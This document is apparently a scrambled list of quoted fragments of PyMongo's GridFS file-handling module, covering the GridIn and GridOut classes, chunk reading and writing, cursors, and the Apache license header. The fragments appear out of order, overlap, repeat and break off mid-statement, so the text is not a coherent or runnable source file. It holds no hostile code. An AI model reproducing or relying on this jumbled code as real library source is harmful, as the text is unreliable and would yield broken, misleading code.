self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\", True)", "self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True) def abort(self): \"\"\"Remove all", "see the methods provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection`", "return self._chunk_size return self._length - (self._chunk_size * (self._num_chunks - 1))", "filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create a new", "valid mime-type for the file - ``\"chunkSize\"`` or ``\"chunk_size\"``: size", "raise io.UnsupportedOperation('read') def readable(self): return False def seekable(self): return False", "read-only.\" elif closed_only: docstring = \"%s\\n\\n%s\" % (docstring, \"This attribute", "\"\"\" def __init__(self, root_collection, file_id=None, file_document=None, session=None): \"\"\"Read a file", "+= len(chunk_data) data.write(chunk_data) # Detect extra chunks after reading the", "one line or up to `size` bytes from the file.", "- `**kwargs` (optional): file level options (see above) .. versionchanged::", "length to be %d but \" \"found chunk with length", "unique): doc = collection.find_one(projection={\"_id\": 1}, session=self._session) if doc is None:", "IOError(22, \"Invalid value for `pos` - must be positive\") #", "the given database/collection object's type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return", "the GridFS files collection. \"\"\" def __init__(self, collection, filter=None, skip=0,", "= _grid_in_property(\"chunkSize\", \"Chunk size for this file.\", read_only=True) upload_date =", "use regular __setattr__ if name in self.__dict__ or name in", "fields on the file document. Valid keyword arguments include: -", "is fetched when first needed. \"\"\" if not isinstance(root_collection, Collection):", "return lines (delimited by ``b'\\\\n'``) of :class:`bytes`. This can be", "session _id = _grid_out_property(\"_id\", \"The ``'_id'`` value for this file.\")", "is called. Raises :class:`ValueError` if this file is already closed.", "self.__buffer = data.read() data.seek(0) return data.read(size) def tell(self): \"\"\"Return the", "Previously, this method would check for extra chunks on every", "calls to read occur more than 10 minutes apart (the", "in writing, software # distributed under the License is distributed", "if \"content_type\" in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\" in", "= _grid_in_property(\"_id\", \"The ``'_id'`` value for this file.\", read_only=True) filename", "to the base class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read chunk", "directly by application developers - see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find`", "def __getattr__(self, name): self._ensure_file() if name in self._file: return self._file[name]", "name, value): # For properties of this instance like _buffer,", "# Protect against PHP-237 if field_name == 'length': return self._file.get(field_name,", "value for this file.\", read_only=True) filename = _grid_in_property(\"filename\", \"Name of", "- `size` (optional): the maximum number of bytes to read", "' 'acknowledged write_concern') _disallow_transactions(session) # Handle alternative naming if \"content_type\"", "to only raise :class:`CorruptGridFile` on a missing chunk. .. versionchanged::", "server's default cursor timeout). \"\"\" if self._cursor is None: self._create_cursor()", "(see above) .. versionchanged:: 4.0 Removed the `disable_md5` parameter. See", "= read(space) except: self.abort() raise self._buffer.write(to_write) if len(to_write) < space:", "received < size: chunk_data = self.readchunk() received += len(chunk_data) data.write(chunk_data)", "read chunk by chunk instead of line by line. \"\"\"", "if new_pos == self.__position: return self.__position = new_pos self.__buffer =", "chunk instead of line by line. \"\"\" return self def", "Make sure to flush only when _buffer is complete space", "- 1: return self._chunk_size return self._length - (self._chunk_size * (self._num_chunks", "against PHP-237 if field_name == 'length': return self._file.get(field_name, 0) return", "file\" % field_name) # Protect against PHP-237 if field_name ==", "\"\"\"Raise a FileExists exception for the given file_id.\"\"\" raise FileExists(\"file", "255 kb) - ``\"encoding\"``: encoding used for this file. Any", "_disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self): \"\"\"Return", "content_type = _grid_in_property(\"contentType\", \"Mime-type for this file.\") length = _grid_in_property(\"length\",", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "read_only and not closed_only: return property(getter, setter, doc=docstring) return property(getter,", "pos != -1: size = received + pos + 1", ".. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged:: 3.0 Creating", "Creating a GridOut does not immediately retrieve the file metadata", "License, Version 2.0 (the \"License\"); # you may not use", "and potentially performs I/O. # We cannot do I/O in", "incomplete self.__flush_buffer() to_write = read(self.chunk_size) while to_write and len(to_write) ==", "self.__chunk_iter.close() self.__chunk_iter = None def seekable(self): return True def __iter__(self):", "0 data = io.BytesIO() while received < size: chunk_data =", "- self._buffer.tell() if space: try: to_write = read(space) except: self.abort()", ":ref:`removed-gridfs-checksum` for details. .. versionchanged:: 3.7 Added the `disable_md5` parameter.", "unique ID for this file (default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"``", "\"\"\" def __init__(self, grid_out, chunks, session, next_chunk): self._id = grid_out._id", "len(chunk[\"data\"]) != expected_length: self.close() raise CorruptGridFile( \"truncated chunk #%d: expected", "and chunk iterator. if new_pos == self.__position: return self.__position =", "def write(self, data): \"\"\"Write data to the file. There is", "gridfs.errors import CorruptGridFile, FileExists, NoFile try: _SEEK_SET = os.SEEK_SET _SEEK_CUR", "``\"_id\"``: unique ID for this file (default: :class:`~bson.objectid.ObjectId`) - this", "data to GridFS. \"\"\" def __init__(self, root_collection, session=None, **kwargs): \"\"\"Write", "int(grid_out.length) self._chunks = chunks self._session = session self._next_chunk = next_chunk", "- this ``\"_id\"`` must not have already been used for", "self.__ensure_indexes() if not data: return assert(len(data) <= self.chunk_size) chunk =", "= next def close(self): if self._cursor: self._cursor.close() self._cursor = None", "the License for the specific language governing permissions and #", "size=-1): raise io.UnsupportedOperation('read') def readable(self): return False def seekable(self): return", "root_collection, file_id=None, file_document=None, session=None): \"\"\"Read a file from GridFS Application", "chunk_size) if self.__chunk_iter is None: self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks,", "details. .. versionchanged:: 3.7 Added the `disable_md5` parameter. .. versionchanged::", "chunk: expected chunk #%d but found \" \"chunk with n=%d\"", "(self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks: # According to spec,", "\"\"\"Remove all chunks/files that may have been uploaded and close.", "root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks self.__files = root_collection.files", "no attribute '%s'\" % name) def readable(self): return True def", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "1 _SEEK_END = 2 EMPTY = b\"\" NEWLN = b\"\\n\"", "'GridFS does not support multi-document transactions') class GridIn(object): \"\"\"Class to", "this file.\") name = _grid_in_property(\"filename\", \"Alias for `filename`.\") content_type =", "- see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7", ":class:`TypeError` if `data` is not an instance of :class:`bytes`, a", "collection.list_indexes(session=self._session)] except OperationFailure: index_keys = [] if index_key not in", "closed file\" % field_name) # Protect against PHP-237 if field_name", "be given priority if present. Raises :class:`TypeError` if `root_collection` is", "chunks self._session = session self._next_chunk = next_chunk self._num_chunks = math.ceil(float(self._length)", "closed_only=True) def __getattr__(self, name): if name in self._file: return self._file[name]", "of an arbitrary query against the GridFS files collection. \"\"\"", "space = self.chunk_size - self._buffer.tell() if space: try: to_write =", "%r on a closed file\" % field_name) # Protect against", ":meth:`close` more than once is allowed. \"\"\" if not self._closed:", "will be set as additional fields on the file document.", "if the file has an :attr:`encoding` attribute. :Parameters: - `data`:", "AttributeError(\"GridIn object has no attribute '%s'\" % name) def __setattr__(self,", "+= 1 self._position += len(data) def __flush_buffer(self): \"\"\"Flush the buffer", "received += len(chunk_data) data.write(chunk_data) # Detect extra chunks after reading", "possible to use :class:`GridOut` files with the context manager protocol.", "property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given database/collection object's", "len(chunk_data) data.write(chunk_data) # Detect extra chunks after reading the entire", "to buffering, the data may not actually be written to", "DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences import ReadPreference from gridfs.errors import", "= self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self): \"\"\"Return the next", "chunk size, in bytes.\"\"\" # Slightly under a power of", "(in bytes) of this file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk", "this file.\") metadata = _grid_out_property(\"metadata\", \"Metadata attached to this file.\")", "sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self): \"\"\"Return the next chunk and", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", ":attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must be", "self.__position < int(self.length): chunk_number = int((received + self.__position) / chunk_size)", "If the current position is within a chunk the remainder", "+= 1 return chunk __next__ = next def close(self): if", ":class:`CorruptGridFile` when encountering any truncated, missing, or extra chunk in", "math import os from bson.int64 import Int64 from bson.son import", "self, self.__chunks, self._session, chunk_number) chunk = self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position", "filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def next(self): \"\"\"Get", "return False def fileno(self): raise io.UnsupportedOperation('fileno') def flush(self): # GridOut", "closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5 of the contents of this", "python 3). If `size` is negative or omitted all data", "filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)],", "_id %r\" % (self.__files, self.__file_id)) def __getattr__(self, name): self._ensure_file() if", "to __getattr__ on # __IOBase_closed which calls _ensure_file and potentially", "def _clone_base(self, session): \"\"\"Creates an empty GridOutCursor for information to", "import datetime import io import math import os from bson.int64", "'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) docstring += \"\\n\\nThis", "a :class:`~pymongo.client_session.ClientSession` to use for all commands .. versionchanged:: 3.8", "class GridOut(io.IOBase): \"\"\"Class to read data out of GridFS. \"\"\"", "an instance of :class:`~pymongo.collection.Collection`. Any of the file level options", "raise TypeError(\"root_collection must be an \" \"instance of Collection\") if", "chunk at a time. If the current position is within", "== 'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) docstring +=", "= _grid_out_property(\"filename\", \"Name of this file.\") name = _grid_out_property(\"filename\", \"Alias", "level options (see above) .. versionchanged:: 4.0 Removed the `disable_md5`", "iterator efficiently. .. versionchanged:: 3.8 The iterator now raises :class:`CorruptGridFile`", "to `size` bytes from the file. :Parameters: - `size` (optional):", "on to the base \"fs\" collection to create GridOut objects", "must be an \" \"instance of Collection\") if not root_collection.write_concern.acknowledged:", "while to_write and len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size)", "a GridIn property.\"\"\" def getter(self): if closed_only and not self._closed:", "IOBase.__del__ otherwise it will lead to __getattr__ on # __IOBase_closed", "first uploaded.\") aliases = _grid_out_property(\"aliases\", \"List of aliases for this", "md5 = _grid_in_property(\"md5\", \"MD5 of the contents of this file", "closed file\") try: # file-like read = data.read except AttributeError:", "# distributed under the License is distributed on an \"AS", "if name in self._file: return self._file[name] raise AttributeError(\"GridIn object has", "chunks but found \" \"chunk with n=%d\" % (self._num_chunks, chunk[\"n\"]))", "= session _id = _grid_out_property(\"_id\", \"The ``'_id'`` value for this", "def close(self): \"\"\"Flush the file and close it. A closed", "# Unless required by applicable law or agreed to in", "__next__ = next def close(self): if self._cursor: self._cursor.close() self._cursor =", "if whence == _SEEK_SET: new_pos = pos elif whence ==", "of Collection\") if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must use '", "chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks, session, 0) def __iter__(self):", "if name in self.__dict__ or name in self.__class__.__dict__: object.__setattr__(self, name,", "limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create a new cursor, similar", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "%r with _id %r\" % (self.__files, self.__file_id)) def __getattr__(self, name):", "= read(self.chunk_size) while to_write and len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write", "out to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO()", "#%d: expected chunk length to be %d but \" \"found", "datetime import io import math import os from bson.int64 import", "'acknowledged write_concern') _disallow_transactions(session) # Handle alternative naming if \"content_type\" in", "\"Alias for `filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type for this file.\")", "< int(self.length): chunk_number = int((received + self.__position) / chunk_size) if", "self._next_chunk > 0: filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor =", "next def close(self): if self._cursor: self._cursor.close() self._cursor = None class", "if new_pos < 0: raise IOError(22, \"Invalid value for `pos`", "only get %r on a closed file\" % field_name) #", "``'_id'`` value for this file.\") filename = _grid_out_property(\"filename\", \"Name of", "the Apache License, Version 2.0 (the \"License\"); # you may", "Raises :class:`TypeError` if `data` is not an instance of :class:`bytes`,", "under the License. \"\"\"Tools for representing files stored in GridFS.\"\"\"", "line. \"\"\" return self def close(self): \"\"\"Make GridOut more generically", "was first uploaded.\") aliases = _grid_out_property(\"aliases\", \"List of aliases for", "efficiently. .. versionchanged:: 3.8 The iterator now raises :class:`CorruptGridFile` when", "to_write and len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write)", "session=self.session) __next__ = next def add_option(self, *args, **kwargs): raise NotImplementedError(\"Method", "FileExists(\"file with _id %r already exists\" % file_id) def close(self):", "(in bytes) of this file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size", "__init__(self, root_collection, file_id=None, file_document=None, session=None): \"\"\"Read a file from GridFS", "since it can lead to a deadlock. def __del__(self): pass", "to - `whence` (optional): where to seek from. :attr:`os.SEEK_SET` (``0``)", "no return value. `data` can be either a string of", "\" \"if an md5 sum was created.\") def _ensure_file(self): if", ":Parameters: - `root_collection`: root collection to read from - `file_id`", "of the chunks, in bytes (default: 255 kb) - ``\"encoding\"``:", "context manager protocol. Close the file and allow exceptions to", "the file's end. \"\"\" if whence == _SEEK_SET: new_pos =", ":meth:`~gridfs.GridFS.find` instead. .. versionadded 2.7 .. seealso:: The MongoDB documentation", "a file's chunks using a single cursor. Raises CorruptGridFile when", "registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if", "_grid_in_property(\"_id\", \"The ``'_id'`` value for this file.\", read_only=True) filename =", "import Cursor from pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure)", "from bson.objectid import ObjectId from pymongo import ASCENDING from pymongo.collection", "2.5 except AttributeError: _SEEK_SET = 0 _SEEK_CUR = 1 _SEEK_END", "_GridOutChunkIterator(object): \"\"\"Iterates over a file's chunks using a single cursor.", "**kwargs): raise NotImplementedError(\"Method does not exist for GridOutCursor\") def _clone_base(self,", "# For properties of this instance like _buffer, or descriptors", "rest. data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size) def readline(self,", "self.__flush_buffer() # The GridFS spec says length SHOULD be an", "\"\"\" for line in sequence: self.write(line) def writeable(self): return True", ":class:`TypeError` if `root_collection` is not an instance of :class:`~pymongo.collection.Collection`. Any", "def _disallow_transactions(session): if session and session.in_transaction: raise InvalidOperation( 'GridFS does", "arguments will be set as additional fields on the file", "context manager protocol. \"\"\" return self def __exit__(self, exc_type, exc_val,", "self def _create_cursor(self): filter = {\"files_id\": self._id} if self._next_chunk >", "the entire file. if size == remainder and self.__chunk_iter: try:", "self.__chunk_iter.next() chunk_data = chunk[\"data\"][self.__position % chunk_size:] if not chunk_data: raise", "to the base \"fs\" collection to create GridOut objects later.", "file metadata from the server. Metadata is fetched when first", "raise ValueError(\"cannot write to a closed file\") try: # file-like", "be either a string of bytes or a file-like object", "that handles such an iterator efficiently. .. versionchanged:: 3.8 The", "is read. :Parameters: - `size` (optional): the number of bytes", "have already been used for another file - ``\"filename\"``: human", "be written to the database until the :meth:`close` method is", "self._cursor is None: self._create_cursor() try: return self._cursor.next() except CursorNotFound: self._cursor.close()", "`root_collection` must use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection,", "= 1 _SEEK_END = 2 EMPTY = b\"\" NEWLN =", "to read \"\"\" remainder = int(self.length) - self.__position if size", "will lead to __getattr__ on # __IOBase_closed which calls _ensure_file", "lines (delimited by ``b'\\\\n'``) of :class:`bytes`. This can be useful", "OperationFailure) from pymongo.read_preferences import ReadPreference from gridfs.errors import CorruptGridFile, FileExists,", ":class:`~gridfs.GridFS`. Either `file_id` or `file_document` must be specified, `file_document` will", "under the License is distributed on an \"AS IS\" BASIS,", "session=self._session) object.__setattr__(self, \"_closed\", True) @property def closed(self): \"\"\"Is this file", "return data.read(size) def tell(self): \"\"\"Return the current position of this", "def __ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False)", "= self.__position + pos elif whence == _SEEK_END: new_pos =", "def writelines(self, sequence): \"\"\"Write a sequence of strings to the", "will be converted to :class:`bytes`. :Parameters: - `root_collection`: root collection", "any truncated, missing, or extra chunk in a file. \"\"\"", "_disallow_transactions(session) # Handle alternative naming if \"content_type\" in kwargs: kwargs[\"contentType\"]", "= None def expected_chunk_length(self, chunk_n): if chunk_n < self._num_chunks -", "be positive\") # Optimization, continue using the same buffer and", "# Optimization, continue using the same buffer and chunk iterator.", ":class:`~pymongo.client_session.ClientSession` to use for all commands - `**kwargs` (optional): file", "be converted to :class:`bytes`. :Parameters: - `root_collection`: root collection to", "the position (or offset if using relative positioning) to seek", "truncated, missing, or extra chunk in a file. The previous", "file. :Parameters: - `size` (optional): the maximum number of bytes", "= self._next_with_retry() except StopIteration: if self._next_chunk >= self._num_chunks: raise raise", "file's chunks using a single cursor. Raises CorruptGridFile when encountering", "EMPTY self.__chunk_iter = None self.__position = 0 self._file = file_document", "file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size for this file.\") upload_date", "use :class:`GridOut` files with the context manager protocol. \"\"\" return", "this file \" \"if an md5 sum was created.\") def", "else: raise IOError(22, \"Invalid value for `whence`\") if new_pos <", "`disable_md5` parameter. .. versionchanged:: 3.6 Added ``session`` parameter. .. versionchanged::", "\"\"\"Get next GridOut object from cursor. \"\"\" _disallow_transactions(self.session) # Work", "_F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True) def abort(self):", "spec says length SHOULD be an Int64. self._file[\"length\"] = Int64(self._position)", "= math.ceil(float(self._length) / self._chunk_size) self._cursor = None def expected_chunk_length(self, chunk_n):", "as the result of an arbitrary query against the GridFS", "_clone_base(self, session): \"\"\"Creates an empty GridOutCursor for information to be", "\"_closed\", True) @property def closed(self): \"\"\"Is this file closed? \"\"\"", ":class:`str` (:class:`bytes` in python 3). If `size` is negative or", "`session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for all commands ..", "was to only raise :class:`CorruptGridFile` on a missing chunk. ..", "__iter__(self): return self def next(self): chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"])", "def add_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist for", "uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5 of the contents of", "additional fields on the file document. Valid keyword arguments include:", "instance of :class:`str` (:class:`bytes` in python 3). If `size` is", "\" \"chunk with n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"])", "if not data: return assert(len(data) <= self.chunk_size) chunk = {\"files_id\":", "of 2, to work well with server's record allocations. DEFAULT_CHUNK_SIZE", "self.readchunk() received += len(chunk_data) data.write(chunk_data) # Detect extra chunks after", "def readable(self): return True def readchunk(self): \"\"\"Reads a chunk at", "within a chunk the remainder of the chunk is returned.", "\"\"\"Iterates over a file's chunks using a single cursor. Raises", "= next class GridOutCursor(Cursor): \"\"\"A cursor / iterator for returning", "FileExists, NoFile try: _SEEK_SET = os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END", "length = _grid_in_property(\"length\", \"Length (in bytes) of this file.\", closed_only=True)", "\"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\", False) def __create_index(self,", "self.__buffer elif self.__position < int(self.length): chunk_number = int((received + self.__position)", "- `size` (optional): the number of bytes to read ..", "+ pos + 1 received += len(chunk_data) data.write(chunk_data) if pos", "% (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks: # According to", "% ( chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk += 1 return chunk", "0 or size > remainder: size = remainder if size", "chunks, in bytes (default: 255 kb) - ``\"encoding\"``: encoding used", "exc_tb): \"\"\"Makes it possible to use :class:`GridOut` files with the", "self.__position: return self.__position = new_pos self.__buffer = EMPTY if self.__chunk_iter:", "the file - ``\"chunkSize\"`` or ``\"chunk_size\"``: size of each of", "return True def readchunk(self): \"\"\"Reads a chunk at a time.", "them to be sent to server on close() or if", "chunks using a single cursor. Raises CorruptGridFile when encountering any", "continue using the same buffer and chunk iterator. if new_pos", ":attr:`os.SEEK_SET` (``0``) for absolute file positioning, :attr:`os.SEEK_CUR` (``1``) to seek", "\"\"\" _disallow_transactions(session) collection = _clear_entity_type_registry(collection) # Hold on to the", "= None self.__position = 0 self._file = file_document self._session =", "all the chunks in the file. .. versionchanged:: 3.6 Added", "raise TypeError(\"root_collection must be an \" \"instance of Collection\") _disallow_transactions(session)", "int(self.length) - self.__position if size < 0 or size >", "False def fileno(self): raise io.UnsupportedOperation('fileno') def flush(self): # GridOut is", "super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ = next def", "performance and to better follow the GridFS spec, :class:`GridOut` now", "read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write a sequence of strings", "for representing files stored in GridFS.\"\"\" import datetime import io", "1 self._position += len(data) def __flush_buffer(self): \"\"\"Flush the buffer contents", "= _grid_in_property(\"md5\", \"MD5 of the contents of this file \"", "attribute, `data` can also be a :class:`str` instance, which will", "a file. \"\"\" def __init__(self, grid_out, chunks, session, next_chunk): self._id", "class GridIn(object): \"\"\"Class to write data to GridFS. \"\"\" def", "ANY KIND, either express or implied. # See the License", "filename, use regular __setattr__ if name in self.__dict__ or name", "chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size for this file.\") upload_date =", "to the file will be converted to :class:`bytes`. :Parameters: -", "% file_id) def close(self): \"\"\"Flush the file and close it.", "Override IOBase.__del__ otherwise it will lead to __getattr__ on #", "can also be a :class:`str` instance, which will be encoded", "the License. # You may obtain a copy of the", "index_keys = [] if index_key not in index_keys: collection.create_index( index_key.items(),", "returned. \"\"\" received = len(self.__buffer) chunk_data = EMPTY chunk_size =", "this file. \"\"\" return self.__position def seek(self, pos, whence=_SEEK_SET): \"\"\"Set", "up to `size` bytes from the file. :Parameters: - `size`", "the document in db.fs.files. # Store them to be sent", "no attribute '%s'\" % name) def __setattr__(self, name, value): #", "ASCENDING), (\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def", "this file.\") name = _grid_out_property(\"filename\", \"Alias for `filename`.\") content_type =", "# See the License for the specific language governing permissions", "bytes (default: 255 kb) - ``\"encoding\"``: encoding used for this", "whence == _SEEK_CUR: new_pos = self.__position + pos elif whence", "`file_id` or `file_document` must be specified, `file_document` will be given", "raise CorruptGridFile(\"no chunk #%d\" % self._next_chunk) if chunk[\"n\"] != self._next_chunk:", "db.fs.files. # Store them to be sent to server on", "EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None def seekable(self): return", "another file - ``\"filename\"``: human name for the file -", "this file's data. The iterator will return lines (delimited by", "\"can only be read after :meth:`close` \" \"has been called.\")", "batch_size=batch_size, session=session) def next(self): \"\"\"Get next GridOut object from cursor.", "self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position +=", "use an acknowledged :attr:`~pymongo.collection.Collection.write_concern` \"\"\" if not isinstance(root_collection, Collection): raise", "self._file[name] raise AttributeError(\"GridOut object has no attribute '%s'\" % name)", "+ 1 received += len(chunk_data) data.write(chunk_data) if pos != -1:", "parameter. .. versionchanged:: 3.0 Creating a GridOut does not immediately", "if they are empty. if len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra", "= Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session) except", "priority if present. Raises :class:`TypeError` if `root_collection` is not an", "missing, or extra chunk in a file. The previous behavior", "def __del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates over a file's chunks", "kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\",", "https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate has to raise. raise io.UnsupportedOperation('truncate')", "for line in sequence: self.write(line) def writeable(self): return True def", "> 0: filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter,", "(implementing :meth:`read`). If the file has an :attr:`encoding` attribute, `data`", "GridOutCursor for information to be copied into. \"\"\" return GridOutCursor(self.__root_collection,", "of the chunk is returned. \"\"\" received = len(self.__buffer) chunk_data", "it. A closed file cannot be written any more. Calling", "read - `file_document` (optional): file document from `root_collection.files` - `session`", "\"Name of this file.\") name = _grid_out_property(\"filename\", \"Alias for `filename`.\")", "either a string of bytes or a file-like object (implementing", "\"Date that this file was first uploaded.\") aliases = _grid_out_property(\"aliases\",", "stored in GridFS.\"\"\" import datetime import io import math import", "no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def next(self): \"\"\"Get next GridOut object", "name = _grid_out_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type", "False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True) def abort(self): \"\"\"Remove", "not add seperators. \"\"\" for line in sequence: self.write(line) def", "\"Name of this file.\") name = _grid_in_property(\"filename\", \"Alias for `filename`.\")", "_grid_out_property(\"filename\", \"Name of this file.\") name = _grid_out_property(\"filename\", \"Alias for", "property.\"\"\" def getter(self): if closed_only and not self._closed: raise AttributeError(\"can", "def close(self): if self._cursor: self._cursor.close() self._cursor = None class GridOutIterator(object):", "`whence` (optional): where to seek from. :attr:`os.SEEK_SET` (``0``) for absolute", "\"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\",", "iterator for returning GridOut objects as the result of an", "1 received += len(chunk_data) data.write(chunk_data) if pos != -1: break", "versionchanged:: 3.8 For better performance and to better follow the", "server. Metadata is fetched when first needed. \"\"\" if not", "def _ensure_file(self): if not self._file: _disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id},", ":class:`~pymongo.cursor.Cursor`. Should not be called directly by application developers -", "written to the database until the :meth:`close` method is called.", "self.abort() raise self._buffer.write(to_write) if len(to_write) < space: return # EOF", "file's data. The iterator will return lines (delimited by ``b'\\\\n'``)", "governing permissions and # limitations under the License. \"\"\"Tools for", "name in self._file: return self._file[name] raise AttributeError(\"GridIn object has no", "data = data.encode(self.encoding) except AttributeError: raise TypeError(\"must specify an encoding", "encoding used for this file. Any :class:`str` that is written", "self._file[field_name] = value if read_only: docstring += \"\\n\\nThis attribute is", "chunk_size = int(self.chunk_size) if received > 0: chunk_data = self.__buffer", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "next(self): try: chunk = self._next_with_retry() except StopIteration: if self._next_chunk >=", "self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration: pass self.__position -= received -", "self._id} if self._next_chunk > 0: filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session)", "session=None, **kwargs): \"\"\"Write a file to GridFS Application developers should", "import Int64 from bson.son import SON from bson.binary import Binary", "class GridOutIterator(object): def __init__(self, grid_out, chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out,", "def __flush(self): \"\"\"Flush the file to the database. \"\"\" try:", "(self._chunk_size * (self._num_chunks - 1)) def __iter__(self): return self def", "writing, software # distributed under the License is distributed on", "data may not actually be written to the database until", "write to a closed file\") try: # file-like read =", "aliases = _grid_out_property(\"aliases\", \"List of aliases for this file.\") metadata", "# Copyright 2009-present MongoDB, Inc. # # Licensed under the", "True def readchunk(self): \"\"\"Reads a chunk at a time. If", "\"Alias for `filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type for this file.\")", "(\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name,", "def __init__(self, root_collection, file_id=None, file_document=None, session=None): \"\"\"Read a file from", "for the context manager protocol. Close the file and allow", "database. \"\"\" try: self.__flush_buffer() # The GridFS spec says length", "def __flush_data(self, data): \"\"\"Flush `data` to a chunk. \"\"\" self.__ensure_indexes()", "= {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session)", "= int(self.chunk_size) if received > 0: chunk_data = self.__buffer elif", "not chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data) self.__buffer =", "chunk_data def read(self, size=-1): \"\"\"Read at most `size` bytes from", "_SEEK_CUR: new_pos = self.__position + pos elif whence == _SEEK_END:", "an 